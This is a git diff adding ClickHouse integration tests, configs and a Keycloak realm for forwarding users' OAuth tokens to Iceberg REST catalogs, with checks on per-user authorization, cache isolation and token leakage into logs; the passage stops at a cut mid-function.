000000000000..e69de29bb2d1 diff --git a/tests/integration/test_datalake_sso_lakekeeper/configs/cluster.xml b/tests/integration/test_datalake_sso_lakekeeper/configs/cluster.xml new file mode 100644 index 000000000000..870a786f2742 --- /dev/null +++ b/tests/integration/test_datalake_sso_lakekeeper/configs/cluster.xml @@ -0,0 +1,18 @@ + + + + + + node1 + 9000 + + + + + node2 + 9000 + + + + + diff --git a/tests/integration/test_datalake_sso_lakekeeper/configs/session_log.xml b/tests/integration/test_datalake_sso_lakekeeper/configs/session_log.xml new file mode 100644 index 000000000000..6e9bd30ed22e --- /dev/null +++ b/tests/integration/test_datalake_sso_lakekeeper/configs/session_log.xml @@ -0,0 +1,12 @@ + + + + system + session_log
+ toYYYYMM(event_date) + 7500 + + diff --git a/tests/integration/test_datalake_sso_lakekeeper/configs/token_forwarding.xml b/tests/integration/test_datalake_sso_lakekeeper/configs/token_forwarding.xml new file mode 100644 index 000000000000..74c183e06e9f --- /dev/null +++ b/tests/integration/test_datalake_sso_lakekeeper/configs/token_forwarding.xml @@ -0,0 +1,34 @@ + + + 1 + + + + openid + http://keycloak:8080/realms/clickhouse-test/.well-known/openid-configuration + true + preferred_username + 60 + + 5 + + + + + + + keycloak + default + + + + + + + diff --git a/tests/integration/test_datalake_sso_lakekeeper/configs/users.xml b/tests/integration/test_datalake_sso_lakekeeper/configs/users.xml new file mode 100644 index 000000000000..d08f41cd7a80 --- /dev/null +++ b/tests/integration/test_datalake_sso_lakekeeper/configs/users.xml @@ -0,0 +1,15 @@ + + + + + 1 + + + + + 1 + 1 + + + diff --git a/tests/integration/test_datalake_sso_lakekeeper/keycloak/realm-export.json b/tests/integration/test_datalake_sso_lakekeeper/keycloak/realm-export.json new file mode 100644 index 000000000000..cfa8d1c52d68 --- /dev/null +++ b/tests/integration/test_datalake_sso_lakekeeper/keycloak/realm-export.json @@ -0,0 +1,131 @@ +{ + "realm": "clickhouse-test", + "enabled": true, + "sslRequired": "none", + "registrationAllowed": false, + "accessTokenLifespan": 1800, + "clients": [ + { + "clientId": "clickhouse", + "enabled": true, + "secret": "clickhouse-secret", + "publicClient": false, + "directAccessGrantsEnabled": true, + "serviceAccountsEnabled": false, + "standardFlowEnabled": true, + "protocol": "openid-connect", + "redirectUris": [ + "*" + ], + "webOrigins": [ + "*" + ], + "attributes": { + "standard.token.exchange.enabled": "true" + }, + "protocolMappers": [ + { + "name": "lakekeeper-audience", + "protocol": "openid-connect", + "protocolMapper": "oidc-audience-mapper", + "consentRequired": false, + "config": { + "included.custom.audience": "lakekeeper", + "id.token.claim": "false", + "access.token.claim": "true", + "introspection.token.claim": "true" + } + } + ] + }, + { + "clientId": "clickhouse-exchange", + "enabled": true, + "secret": "clickhouse-exchange-secret", + "publicClient": false, + "directAccessGrantsEnabled": true, + "serviceAccountsEnabled": false, + "standardFlowEnabled": true, + "protocol": "openid-connect", + "redirectUris": [ + "*" + ], + "webOrigins": [ + "*" + ], + "protocolMappers": [ + { + "name": "clickhouse-audience", + "protocol": "openid-connect", + "protocolMapper": "oidc-audience-mapper", + "consentRequired": false, + "config": { + "included.client.audience": "clickhouse", + "id.token.claim": "false", + "access.token.claim": "true", + "introspection.token.claim": "true" + } + } + ] + } + ], + "users": [ + { + "username": "lkadmin", + "enabled": true, + "emailVerified": true, + "email": "lkadmin@example.com", + "firstName": "Lakekeeper", + "lastName": "Admin", + "requiredActions": [], + "credentials": [ + { + "type": "password", + "value": "secret", + "temporary": false + } + ], + "realmRoles": [ + "default-roles-clickhouse-test" + ] + }, + { + "username": "alice", + "enabled": true, + "emailVerified": true, + "email": "alice@example.com", + "firstName": "Alice", + "lastName": "Tester", + "requiredActions": [], + "credentials": [ + { + "type": "password", + "value": "secret", + "temporary": false + } + ], + "realmRoles": [ + "default-roles-clickhouse-test" + ] + }, + { + "username": "bob", + "enabled": true, + "emailVerified": true, + "email": "bob@example.com", + "firstName": "Bob", + "lastName": "Tester", + "requiredActions": [], + "credentials": [ + { + "type": "password", + "value": "secret", + "temporary": false + } + ], + "realmRoles": [ + "default-roles-clickhouse-test" + ] + } + ] +} diff --git a/tests/integration/test_datalake_sso_lakekeeper/test.py b/tests/integration/test_datalake_sso_lakekeeper/test.py new file mode 100644 index 000000000000..fdc5dc6e06ec --- /dev/null +++ b/tests/integration/test_datalake_sso_lakekeeper/test.py @@ -0,0 +1,537 @@ +""" +End-to-end SSO: the identity that authenticated to ClickHouse is the identity the Iceberg REST +catalog authorizes. + +Layer 3 of the verification plan. Keycloak issues the tokens, Lakekeeper validates them and -- with +`LAKEKEEPER__AUTHZ_BACKEND=openfga`, not the `allowall` default -- actually enforces per-user +permissions. Without that backend every assertion here would pass for the wrong reason. + +Passthrough is what makes this layer possible at all: Lakekeeper accepts IdP tokens directly, so no +token endpoint is involved. The exchange-at-IdP variant is one extra case on the same topology. + +Run: + python -m ci.praktika run "integration" --test test_datalake_sso_lakekeeper +""" + +import json +import logging +import time +import uuid + +import pandas as pd +import pyarrow as pa +import pytest +import requests +from pyiceberg.catalog.rest import RestCatalog +from pyiceberg.schema import Schema +from pyiceberg.types import IntegerType, NestedField, StringType + +from helpers.cluster import ClickHouseCluster + +REALM = "clickhouse-test" +KEYCLOAK_INTERNAL = f"http://keycloak:8080/realms/{REALM}" +TOKEN_ENDPOINT = f"{KEYCLOAK_INTERNAL}/protocol/openid-connect/token" +CATALOG_INTERNAL_URL = "http://lakekeeper:8181/catalog" + +# The client ClickHouse itself is registered as. Its audience mapper puts `lakekeeper` in every +# token it issues, which is what makes passthrough work, and it is also the client that performs +# the RFC 8693 exchange. +CLIENT_ID = "clickhouse" +CLIENT_SECRET = "clickhouse-secret" +# A second client standing in for some other application the user came from. Its tokens are +# audienced for `clickhouse`, never for `lakekeeper`, so an exchange is what has to produce the +# audience the catalog requires. +EXCHANGE_CLIENT_ID = "clickhouse-exchange" +EXCHANGE_CLIENT_SECRET = "clickhouse-exchange-secret" +# `LAKEKEEPER__OPENID_SCOPE` in the compose file; Lakekeeper rejects a token whose `scope` claim +# does not contain it. +SCOPE = "openid" + +WAREHOUSES = ["wh_alice", "wh_bob", "wh_shared"] + +SCHEMA = Schema( + NestedField(field_id=1, name="id", field_type=IntegerType(), required=False), + NestedField(field_id=2, name="data", field_type=StringType(), required=False), +) + + +# --- helpers --------------------------------------------------------------------------------- + +def lakekeeper_host_url(cluster): + return f"http://localhost:{cluster.iceberg_rest_catalog_port}" + + +def get_token(node, username, password="secret", client_id=CLIENT_ID, client_secret=CLIENT_SECRET, + scope=SCOPE): + """ + Tokens are fetched from inside the ClickHouse container so that every participant -- ClickHouse, + Lakekeeper and this test -- sees the same issuer, `http://keycloak:8080/realms/...`. + """ + form = ( + f"grant_type=password&client_id={client_id}&client_secret={client_secret}" + f"&username={username}&password={password}" + ) + if scope: + form += f"&scope={scope}" + raw = node.exec_in_container( + ["bash", "-c", f"curl -s -X POST -d '{form}' {TOKEN_ENDPOINT}"] + ) + payload = json.loads(raw) + assert "access_token" in payload, raw + return payload["access_token"] + + +def jwt_claim(token, claim): + import base64 + + body = token.split(".")[1] + body += "=" * (-len(body) % 4) + return json.loads(base64.urlsafe_b64decode(body))[claim] + + +def management(cluster, method, path, token, json_body=None, expected=(200, 201, 204, 409)): + response = requests.request( + method, + f"{lakekeeper_host_url(cluster)}/management/v1{path}", + headers={"Authorization": f"Bearer {token}", "Content-Type": "application/json"}, + json=json_body, + timeout=60, + ) + assert response.status_code in expected, f"{method} {path} -> {response.status_code}: {response.text}" + return response + + +def lakekeeper_rejects(cluster, token): + """ + Whether Lakekeeper refuses this token outright. Used as a precondition, so that a test which + claims "this token would not have worked" says so on the catalog's authority rather than on a + reading of the token's own claims. + """ + response = requests.get( + f"{lakekeeper_host_url(cluster)}/management/v1/whoami", + headers={"Authorization": f"Bearer {token}"}, + timeout=60, + ) + return response.status_code == 401 + + +def create_warehouse(cluster, token, name): + minio_endpoint = f"http://{cluster.minio_ip}:{cluster.minio_port}" + body = { + "warehouse-name": name, + "project-id": "00000000-0000-0000-0000-000000000000", + "storage-profile": { + "type": "s3", + "bucket": "warehouse-rest", + "key-prefix": name, + "assume-role-arn": None, + "endpoint": minio_endpoint, + "region": "local-01", + "path-style-access": True, + "flavor": "minio", + "sts-enabled": True, + }, + "storage-credential": { + "type": "s3", + "credential-type": "access-key", + "aws-access-key-id": "minio", + "aws-secret-access-key": "ClickHouse_Minio_P@ssw0rd", + }, + } + response = management(cluster, "POST", "/warehouse", token, body) + if response.status_code == 409: + listing = management(cluster, "GET", "/warehouse", token).json() + for warehouse in listing.get("warehouses", []): + if warehouse["name"] == name: + return warehouse["id"] + raise AssertionError(f"warehouse {name} exists but was not listed") + return response.json()["id"] + + +def provision_user(cluster, admin_token, token_of_user, username): + management( + cluster, + "POST", + "/user", + admin_token, + { + "id": f"oidc~{jwt_claim(token_of_user, 'sub')}", + "name": username, + "email": f"{username}@example.com", + "user-type": "human", + "update-if-exists": True, + }, + ) + return f"oidc~{jwt_claim(token_of_user, 'sub')}" + + +def grant_on_warehouse(cluster, admin_token, warehouse_id, user_id, relations): + management( + cluster, + "POST", + f"/permissions/warehouse/{warehouse_id}/assignments", + admin_token, + {"writes": [{"user": user_id, "type": relation} for relation in relations]}, + ) + + +def pyiceberg_catalog(cluster, warehouse, token): + return RestCatalog( + name="lakekeeper", + warehouse=warehouse, + uri=f"{lakekeeper_host_url(cluster)}/catalog", + token=token, + **{ + "s3.endpoint": f"http://{cluster.minio_ip}:{cluster.minio_port}", + "s3.access-key-id": "minio", + "s3.secret-access-key": "ClickHouse_Minio_P@ssw0rd", + }, + ) + + +def seed_table(cluster, warehouse, token, namespace, table_name, rows=3): + catalog = pyiceberg_catalog(cluster, warehouse, token) + if (namespace,) not in catalog.list_namespaces(): + catalog.create_namespace((namespace,)) + table = catalog.create_table( + (namespace, table_name), + schema=SCHEMA, + properties={"write.metadata.compression-codec": "none"}, + ) + table.append( + pa.Table.from_pandas( + pd.DataFrame({"id": list(range(rows)), "data": [f"row{i}" for i in range(rows)]}), + schema=table.schema().as_arrow(), + ) + ) + return table + + +def create_database(node, name, warehouse, extra=None): + settings = { + "catalog_type": "rest", + "warehouse": warehouse, + "storage_endpoint": "http://minio1:9001/warehouse-rest", + "oauth_forward_user_token": 1, + } + settings.update(extra or {}) + node.query(f"DROP DATABASE IF EXISTS {name}") + node.query( + f"SET allow_experimental_database_iceberg=true;" + f"CREATE DATABASE {name} ENGINE = DataLakeCatalog('{CATALOG_INTERNAL_URL}') " + f"SETTINGS {','.join(k + '=' + repr(v) for k, v in settings.items())}" + ) + + +def query_as(node, token, sql, query_id=None): + params = {"query_id": query_id} if query_id else None + response = node.http_request( + "", method="POST", data=sql, params=params, + headers={"Authorization": f"Bearer {token}"}, + ) + return response + + +def query_as_ok(node, token, sql, query_id=None): + response = query_as(node, token, sql, query_id) + assert response.status_code == 200, response.text + return response.text + + +def profile_event(node, query_id, event): + node.query("SYSTEM FLUSH LOGS") + value = node.query( + f"SELECT sum(ProfileEvents['{event}']) FROM system.query_log " + f"WHERE query_id = '{query_id}' AND type = 'QueryFinish'" + ).strip() + return int(value) if value else 0 + + +# --- fixture --------------------------------------------------------------------------------- + +@pytest.fixture(scope="module") +def started_cluster(): + cluster = ClickHouseCluster(__file__) + try: + for name in ("node1", "node2"): + cluster.add_instance( + name, + main_configs=[ + "configs/token_forwarding.xml", + "configs/cluster.xml", + "configs/session_log.xml", + ], + user_configs=["configs/users.xml"], + stay_alive=True, + with_iceberg_catalog=True, + extra_parameters={ + "docker_compose_file_name": "docker_compose_iceberg_lakekeeper_oidc_catalog.yml" + }, + ) + logging.info("Starting cluster...") + cluster.start() + + node = cluster.instances["node1"] + # Auto-provisioned token users hold no privileges of their own; `common_roles` in + # `token_forwarding.xml` hands them this role. Access storage is local to each node, so + # both nodes need it. Granted broadly on purpose: every denial these tests assert has to + # come from the catalog, never from ClickHouse's own access control. + for instance in cluster.instances.values(): + instance.query("CREATE ROLE IF NOT EXISTS token_users") + instance.query("GRANT CHECK, DROP TABLE, INSERT, SELECT, SHOW ON *.* TO token_users") + # Reading table data goes to S3, guarded separately by the `SOURCES` privileges. + instance.query("GRANT S3 ON *.* TO token_users") + instance.query("GRANT REMOTE ON *.* TO token_users") + + wait_for_lakekeeper(cluster) + + admin_token = get_token(node, "lkadmin") + management( + cluster, + "POST", + "/bootstrap", + admin_token, + {"accept-terms-of-use": True, "is-operator": True}, + expected=(200, 204, 400, 409), + ) + + alice_token = get_token(node, "alice") + bob_token = get_token(node, "bob") + alice_id = provision_user(cluster, admin_token, alice_token, "alice") + bob_id = provision_user(cluster, admin_token, bob_token, "bob") + + warehouse_ids = {name: create_warehouse(cluster, admin_token, name) for name in WAREHOUSES} + + full = ["describe", "select", "create", "modify"] + grant_on_warehouse(cluster, admin_token, warehouse_ids["wh_alice"], alice_id, full) + grant_on_warehouse(cluster, admin_token, warehouse_ids["wh_bob"], bob_id, full) + grant_on_warehouse(cluster, admin_token, warehouse_ids["wh_shared"], alice_id, ["describe", "select"]) + grant_on_warehouse(cluster, admin_token, warehouse_ids["wh_shared"], bob_id, ["describe", "select"]) + + seed_table(cluster, "wh_alice", admin_token, "ns", "t_alice") + seed_table(cluster, "wh_bob", admin_token, "ns", "t_bob") + seed_table(cluster, "wh_shared", admin_token, "ns", "t_shared") + + cluster.lakekeeper_warehouse_ids = warehouse_ids + yield cluster + finally: + cluster.shutdown() + + +def wait_for_lakekeeper(cluster, timeout=180): + """ + Lakekeeper is started before Keycloak by the cluster helper, so it may restart a few times + while the IdP comes up. + """ + deadline = time.time() + timeout + last = None + while time.time() < deadline: + try: + response = requests.get(f"{lakekeeper_host_url(cluster)}/health", timeout=5) + if response.status_code == 200: + return + last = response.text + except requests.exceptions.RequestException as ex: + last = str(ex) + time.sleep(2) + raise AssertionError(f"Lakekeeper did not become healthy: {last}") + + +# --- tests ----------------------------------------------------------------------------------- + +def test_users_see_different_tables(started_cluster): + """The catalog authorizes the human, so two ClickHouse users see two different table sets.""" + node = started_cluster.instances["node1"] + create_database(node, "db_alice", "wh_alice") + create_database(node, "db_bob", "wh_bob") + + alice = get_token(node, "alice") + bob = get_token(node, "bob") + + listing_sql = ( + "SELECT name FROM system.tables WHERE database = '{db}' ORDER BY name " + "SETTINGS show_data_lake_catalogs_in_system_tables = true" + ) + assert query_as_ok(node, alice, listing_sql.format(db="db_alice")).strip() == "ns.t_alice" + assert query_as_ok(node, bob, listing_sql.format(db="db_bob")).strip() == "ns.t_bob" + + # And neither sees anything in the other's warehouse. The refusal is the catalog's answer, not + # a symptom of nothing working: the two assertions above went through the same code path and + # did return a table. `show_data_lake_catalogs_in_system_tables` is on, so + # `DatabaseDataLake::getTablesIterator` reports the catalog error rather than swallowing it + # into an empty listing, and Lakekeeper answers a listing the principal has no grant for with + # `NoSuchWarehouseException` ("Warehouse not found or access denied"). + denied = query_as(node, alice, listing_sql.format(db="db_bob")) + assert denied.status_code != 200, denied.text + denied = query_as(node, bob, listing_sql.format(db="db_alice")) + assert denied.status_code != 200, denied.text + + +def test_alice_cannot_read_bobs_table(started_cluster): + node = started_cluster.instances["node1"] + create_database(node, "db_bob", "wh_bob") + + assert int(query_as_ok(node, get_token(node, "bob"), "SELECT count() FROM db_bob.`ns.t_bob`")) == 3 + + denied = query_as(node, get_token(node, "alice"), "SELECT count() FROM db_bob.`ns.t_bob`") + assert denied.status_code != 200, denied.text + # Bob read that very table a line ago, so the only thing that can make it unknown to Alice is + # the catalog refusing to describe it to her. + assert ( + "UNKNOWN_TABLE" in denied.text or "403" in denied.text or "Forbidden" in denied.text + ), denied.text + + +def test_warm_credentials_cache_does_not_serve_another_user(started_cluster): + """ + The highest-value test of the feature. `credentials_cache` used to be keyed on + `(namespace, table)` and is consulted before any HTTP call, so a warm entry would hand Bob the + STS credentials Lakekeeper vended for Alice with the catalog never consulted. + """ + node = started_cluster.instances["node1"] + create_database(node, "db_alice", "wh_alice", {"vended_credentials_cache_ttl": 300}) + + alice = get_token(node, "alice") + assert int(query_as_ok(node, alice, "SELECT count() FROM db_alice.`ns.t_alice`")) == 3 + # Warm. + assert int(query_as_ok(node, alice, "SELECT count() FROM db_alice.`ns.t_alice`")) == 3 + + denied = query_as(node, get_token(node, "bob"), "SELECT count() FROM db_alice.`ns.t_alice`") + assert denied.status_code != 200, denied.text + + +def test_expired_token_gives_a_clean_error(started_cluster): + """An expired token is rejected at authentication; nothing reaches the catalog.""" + node = started_cluster.instances["node1"] + create_database(node, "db_alice", "wh_alice") + + # A structurally valid token whose signature will not verify against the realm's keys. + bogus = get_token(node, "alice")[:-4] + "AAAA" + response = query_as(node, bogus, "SELECT count() FROM db_alice.`ns.t_alice`") + assert response.status_code != 200 + assert "AUTHENTICATION_FAILED" in response.text or "Authentication failed" in response.text + + +def test_token_rotation_over_http(started_cluster): + """HTTP re-authenticates per request, so a freshly issued token takes effect immediately.""" + node = started_cluster.instances["node1"] + create_database(node, "db_alice", "wh_alice") + + first = get_token(node, "alice") + assert int(query_as_ok(node, first, "SELECT count() FROM db_alice.`ns.t_alice`")) == 3 + + # A second, distinct token for the same principal must work just as well. + time.sleep(1) + second = get_token(node, "alice") + assert int(query_as_ok(node, second, "SELECT count() FROM db_alice.`ns.t_alice`")) == 3 + + +def test_no_token_in_system_logs(started_cluster): + """The forwarded token must not surface in any log table.""" + node = started_cluster.instances["node1"] + create_database(node, "db_alice", "wh_alice") + + token = get_token(node, "alice") + query_as_ok(node, token, "SELECT count() FROM db_alice.`ns.t_alice`") + # Also exercise a failing path, which is where an error message could echo the token. + query_as(node, token, "SELECT count() FROM db_alice.`ns.does_not_exist`") + # And a failing authentication, which is what writes to `system.session_log` at all. The + # signature prefix the needle below is taken from survives the mangling. + query_as(node, token[:-4] + "AAAA", "SELECT 1") + + node.query("SYSTEM FLUSH LOGS") + # The signature segment is the part that is unique to this token and long enough not to + # collide with anything else. + needle = token.split(".")[2][:32] + for table, columns in ( + ("system.query_log", ["query", "exception", "stack_trace"]), + ("system.text_log", ["message"]), + # `auth_id` is a UUID and could not carry a token; `failure_reason` is the free-text + # column, and the rejected token above is what puts a row in it. + ("system.session_log", ["failure_reason"]), + ): + condition = " OR ".join(f"{column} LIKE '%{needle}%'" for column in columns) + found = node.query(f"SELECT count() FROM {table} WHERE {condition}").strip() + assert found == "0", f"token leaked into {table}" + + # This query's own text contains the needle, so it matches itself; exclude it by id. + running = node.query( + f"SELECT count() FROM system.processes " + f"WHERE query LIKE '%{needle}%' AND query_id != queryID()" + ).strip() + assert running == "0" + + +def test_swarm_read_does_not_reach_the_catalog_from_workers(started_cluster): + """ + The initiator resolves everything; workers run a plain table function with the credentials the + catalog vended, so a secondary node makes no catalog request of its own. + """ + started = started_cluster + node1 = started.instances["node1"] + node2 = started.instances["node2"] + create_database(node1, "db_shared", "wh_shared") + + def catalog_requests(node): + node.query("SYSTEM FLUSH LOGS") + value = node.query( + "SELECT value FROM system.events WHERE event = 'DataLakeRestCatalogGetTableMetadata'" + ).strip() + return int(value) if value else 0 + + query_id = f"swarm-{uuid.uuid4()}" + before = catalog_requests(node2) + # `object_storage_cluster` is a query setting, not a `DataLakeCatalog` one. An aggregate over a + # column rather than `count()`, so the answer cannot come from Iceberg metadata alone and the + # data files really are read. + assert int(query_as_ok( + node1, + get_token(node1, "alice"), + "SELECT sum(id) FROM db_shared.`ns.t_shared` " + "SETTINGS object_storage_cluster = 'cluster_simple'", + query_id, + )) == 3 + + # The worker has to have taken part, otherwise "it made no catalog request" is vacuously true. + node2.query("SYSTEM FLUSH LOGS") + worker_queries = node2.query( + f"SELECT count() FROM system.query_log " + f"WHERE initial_query_id = '{query_id}' AND type = 'QueryFinish'" + ).strip() + assert int(worker_queries) > 0, "node2 never ran a part of the query" + + assert catalog_requests(node2) == before + + +def test_exchange_at_the_idp(started_cluster): + """ + The RFC 8693 variant: the token ClickHouse receives has no `lakekeeper` audience, so the + exchange at Keycloak is what produces a token Lakekeeper accepts. + """ + node = started_cluster.instances["node1"] + create_database( + node, + "db_exchange", + "wh_alice", + { + # The exchange is performed as the `clickhouse` client, the only one Keycloak lets + # mint tokens carrying the `lakekeeper` audience. + "catalog_credential": f"{CLIENT_ID}:{CLIENT_SECRET}", + "auth_scope": SCOPE, + "oauth_token_exchange_uri": TOKEN_ENDPOINT, + }, + ) + + token = get_token( + node, "alice", client_id=EXCHANGE_CLIENT_ID, client_secret=EXCHANGE_CLIENT_SECRET + ) + # Precondition: this token on its own is not accepted by Lakekeeper. + audience = jwt_claim(token, "aud") + assert "lakekeeper" not in ([audience] if isinstance(audience, str) else audience) + assert lakekeeper_rejects(started_cluster, token) + + query_id = f"exchange-{uuid.uuid4()}" + assert int(query_as_ok(node, token, "SELECT count() FROM db_exchange.`ns.t_alice`", query_id)) == 3 + assert profile_event(node, query_id, "DataLakeRestCatalogTokenExchange") >= 1 + assert profile_event(node, query_id, "DataLakeRestCatalogTokenExchangeFailures") == 0 + assert profile_event(node, query_id, "DataLakeRestCatalogAuthTokenRetrieve") == 0 diff --git a/tests/integration/test_datalake_token_forwarding/__init__.py b/tests/integration/test_datalake_token_forwarding/__init__.py new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/tests/integration/test_datalake_token_forwarding/configs/token_forwarding.xml b/tests/integration/test_datalake_token_forwarding/configs/token_forwarding.xml new file mode 100644 index 000000000000..9fb2e1579a5c --- /dev/null +++ b/tests/integration/test_datalake_token_forwarding/configs/token_forwarding.xml @@ -0,0 +1,37 @@ + + + 1 + + + + + jwt_static_key + HS256 + datalake_token_forwarding_secret + false + true + + + + + + hs256 + default + + + + + + + diff --git a/tests/integration/test_datalake_token_forwarding/configs/users.xml b/tests/integration/test_datalake_token_forwarding/configs/users.xml new file mode 100644 index 000000000000..48d16fc29d25 --- /dev/null +++ b/tests/integration/test_datalake_token_forwarding/configs/users.xml @@ -0,0 +1,17 @@ + + + + + + + 1 + 1 + + + + passworduser_password + default + ::/0 + + + diff --git a/tests/integration/test_datalake_token_forwarding/test.py b/tests/integration/test_datalake_token_forwarding/test.py new file mode 100644 index 000000000000..659b9531a3ba --- /dev/null +++ b/tests/integration/test_datalake_token_forwarding/test.py @@ -0,0 +1,625 @@ +""" +Request-shape tests for forwarding the querying user's OAuth token to an Iceberg REST catalog. + +Layer 2 of the verification plan: an `apache/iceberg-rest-fixture`-style catalog (the only image +that actually routes the `/v1/oauth/tokens` grant) plus HS256 tokens minted inline, so both +passthrough and RFC 8693 token exchange can be observed on the wire. + +Deliberately a separate suite from `test_database_iceberg`: that one creates its database with +three engine arguments, and vended credentials are only applied when the engine has exactly one, +so per-user credential assertions there would be vacuous. + +Run: + python -m ci.praktika run "integration" --test test_datalake_token_forwarding +""" + +import logging +import uuid + +import jwt +import pytest +import requests + +from helpers.cluster import ClickHouseCluster +from helpers.config_cluster import minio_access_key, minio_secret_key + +SECRET = "datalake_token_forwarding_secret" +BASE_URL = "http://rest:8181/v1" +CATALOG_NAME = "demo" +# Keep ordinary write tests synchronous; the async tests below explicitly enable the queue +# to verify that its flush context retains the authenticated token. +WRITE_SETTINGS = { + "allow_insert_into_iceberg": 1, + "write_full_path_in_iceberg_metadata": 1, + "async_insert": 0, +} + + +def make_token(user): + return jwt.encode({"sub": user}, SECRET, algorithm="HS256") + + +@pytest.fixture(scope="module") +def started_cluster(): + cluster = ClickHouseCluster(__file__) + try: + cluster.add_instance( + "node1", + main_configs=["configs/token_forwarding.xml"], + user_configs=["configs/users.xml"], + stay_alive=True, + with_iceberg_catalog=True, + extra_parameters={ + "docker_compose_file_name": "docker_compose_iceberg_rest_catalog.yml" + }, + ) + logging.info("Starting cluster...") + cluster.start() + + # Auto-provisioned token users hold no privileges of their own, so hand every one of them + # this role -- `common_roles` in `token_forwarding.xml` grants it. Created here rather than + # inside a test so that it already exists the first time a token user authenticates. + node = cluster.instances["node1"] + node.query("CREATE ROLE IF NOT EXISTS token_users") + node.query("GRANT CHECK, DROP TABLE, INSERT, SELECT, SHOW ON *.* TO token_users") + # Reading and writing table data goes to S3, which the `SOURCES` privileges guard separately. + node.query("GRANT S3 ON *.* TO token_users") + + yield cluster + finally: + cluster.shutdown() + + +def catalog_local_url(started_cluster): + return f"http://localhost:{started_cluster.iceberg_rest_catalog_port}/v1" + + +def create_namespace(started_cluster, namespace): + response = requests.post( + f"{catalog_local_url(started_cluster)}/namespaces", + json={"namespace": [namespace], "properties": {}}, + timeout=30, + ) + assert response.status_code in (200, 409), response.text + + +def query_with_token(node, token, sql, **kwargs): + response = node.http_request( + "", + method="POST", + data=sql, + headers={"Authorization": f"Bearer {token}"}, + **kwargs, + ) + response.raise_for_status() + return response.text + + +def create_database(node, name, settings, storage_credentials=False): + """ + One engine argument by default, which is what makes per-user credential vending observable. + + `storage_credentials` adds the MinIO key pair as the second and third arguments. Anything that + reads or writes table *data* needs them: with a single argument the storage credentials have to + come from the catalog, and the fixture's catalog does not vend any. Pinning them leaves the + catalog identity as the only per-user thing in the query, which is what the write-path tests + are about. + """ + arguments = f"'{BASE_URL}'" + if storage_credentials: + arguments += f", '{minio_access_key}', '{minio_secret_key}'" + node.query(f"DROP DATABASE IF EXISTS {name}") + node.query( + f"SET allow_experimental_database_iceberg=true;" + f"CREATE DATABASE {name} ENGINE = DataLakeCatalog({arguments}) " + f"SETTINGS {','.join(k + '=' + repr(v) for k, v in settings.items())}" + ) + + +def create_table_in_catalog(started_cluster, namespace, table): + """ + Create a table through the catalog's own REST API, bypassing ClickHouse entirely, so that a + listing has something to find. Without it `system.tables` returns zero rows whether the catalog + answered or refused, and an assertion on the count could not fail. + """ + response = requests.post( + f"{catalog_local_url(started_cluster)}/namespaces/{namespace}/tables", + json={ + "name": table, + "location": f"s3://warehouse-rest/{table}", + "schema": { + "type": "struct", + "schema-id": 0, + "fields": [{"id": 1, "name": "x", "required": False, "type": "string"}], + }, + }, + timeout=30, + ) + assert response.status_code in (200, 409), response.text + + +def catalog_tables(started_cluster, namespace): + """The catalog's own view of a namespace, fetched without going through ClickHouse.""" + response = requests.get( + f"{catalog_local_url(started_cluster)}/namespaces/{namespace}/tables", timeout=30 + ) + response.raise_for_status() + return {identifier["name"] for identifier in response.json()["identifiers"]} + + +def visible_tables(node, token, namespace, table, **kwargs): + """ + How many rows `system.tables` shows for one known table. Zero means the catalog listing did not + happen: `DatabaseDataLake::getLightweightTablesIterator` swallows catalog errors so that one + unreachable database cannot break the whole system table. + """ + return query_with_token( + node, + token, + f"SELECT count() FROM system.tables WHERE database = '{CATALOG_NAME}' " + f"AND name = '{namespace}.{table}' " + f"SETTINGS show_data_lake_catalogs_in_system_tables = true", + **kwargs, + ).strip() + + +def profile_event(node, query_id, event): + node.query("SYSTEM FLUSH LOGS") + return int( + node.query( + f"SELECT sum(ProfileEvents['{event}']) FROM system.query_log " + f"WHERE query_id = '{query_id}' AND type = 'QueryFinish'" + ).strip() + or 0 + ) + + +def test_passthrough_reaches_catalog(started_cluster): + """A token-authenticated user can list the catalog; the token itself is what the catalog sees.""" + node = started_cluster.instances["node1"] + namespace = f"ns_{uuid.uuid4().hex[:8]}" + table = f"t_{uuid.uuid4().hex[:8]}" + create_namespace(started_cluster, namespace) + create_table_in_catalog(started_cluster, namespace, table) + + create_database( + node, + CATALOG_NAME, + { + "catalog_type": "rest", + "warehouse": "demo", + "storage_endpoint": "http://minio1:9001/warehouse-rest", + "oauth_forward_user_token": 1, + }, + ) + + # A table the catalog is known to hold has to come back. Asserting only that the count is a + # number would hold just as well when the catalog refused the request, because the listing + # swallows catalog errors and returns nothing. + assert visible_tables(node, make_token("alice"), namespace, table) == "1" + + +def test_no_service_principal_fallback(started_cluster): + """ + With forwarding on, no request may be signed as the service principal. The + `DataLakeRestCatalogAuthTokenRetrieve` event is the fail-open detector: it must stay 0. + """ + node = started_cluster.instances["node1"] + namespace = f"ns_{uuid.uuid4().hex[:8]}" + table = f"t_{uuid.uuid4().hex[:8]}" + create_namespace(started_cluster, namespace) + create_table_in_catalog(started_cluster, namespace, table) + + create_database( + node, + CATALOG_NAME, + { + "catalog_type": "rest", + "warehouse": "demo", + "storage_endpoint": "http://minio1:9001/warehouse-rest", + "catalog_credential": "service:principal", + "oauth_forward_user_token": 1, + }, + ) + + query_id = f"fwd-{uuid.uuid4()}" + # The listing has to succeed, otherwise a zero grant count would only mean nothing was asked. + assert visible_tables( + node, make_token("alice"), namespace, table, params={"query_id": query_id} + ) == "1" + + assert profile_event(node, query_id, "DataLakeRestCatalogAuthTokenRetrieve") == 0 + + +def test_password_user_is_denied_over_http(started_cluster): + """A password-authenticated user has no token, so the catalog must refuse the request.""" + node = started_cluster.instances["node1"] + + create_database( + node, + CATALOG_NAME, + { + "catalog_type": "rest", + "warehouse": "demo", + "storage_endpoint": "http://minio1:9001/warehouse-rest", + "catalog_credential": "service:principal", + "oauth_forward_user_token": 1, + }, + ) + + response = node.http_request( + "", + method="POST", + data=f"SELECT * FROM {CATALOG_NAME}.`nonexistent.table`", + params={"user": "passworduser", "password": "passworduser_password"}, + ) + assert "CATALOG_USER_TOKEN_NOT_AVAILABLE" in response.text, response.text + + +def test_password_user_is_denied_over_native(started_cluster): + """Same over the native protocol, which authenticates once at handshake time.""" + node = started_cluster.instances["node1"] + + create_database( + node, + CATALOG_NAME, + { + "catalog_type": "rest", + "warehouse": "demo", + "storage_endpoint": "http://minio1:9001/warehouse-rest", + "catalog_credential": "service:principal", + "oauth_forward_user_token": 1, + }, + ) + + output = node.query_and_get_error( + f"SELECT * FROM {CATALOG_NAME}.`nonexistent.table`", + user="passworduser", + password="passworduser_password", + ) + assert "CATALOG_USER_TOKEN_NOT_AVAILABLE" in output, output + + +def 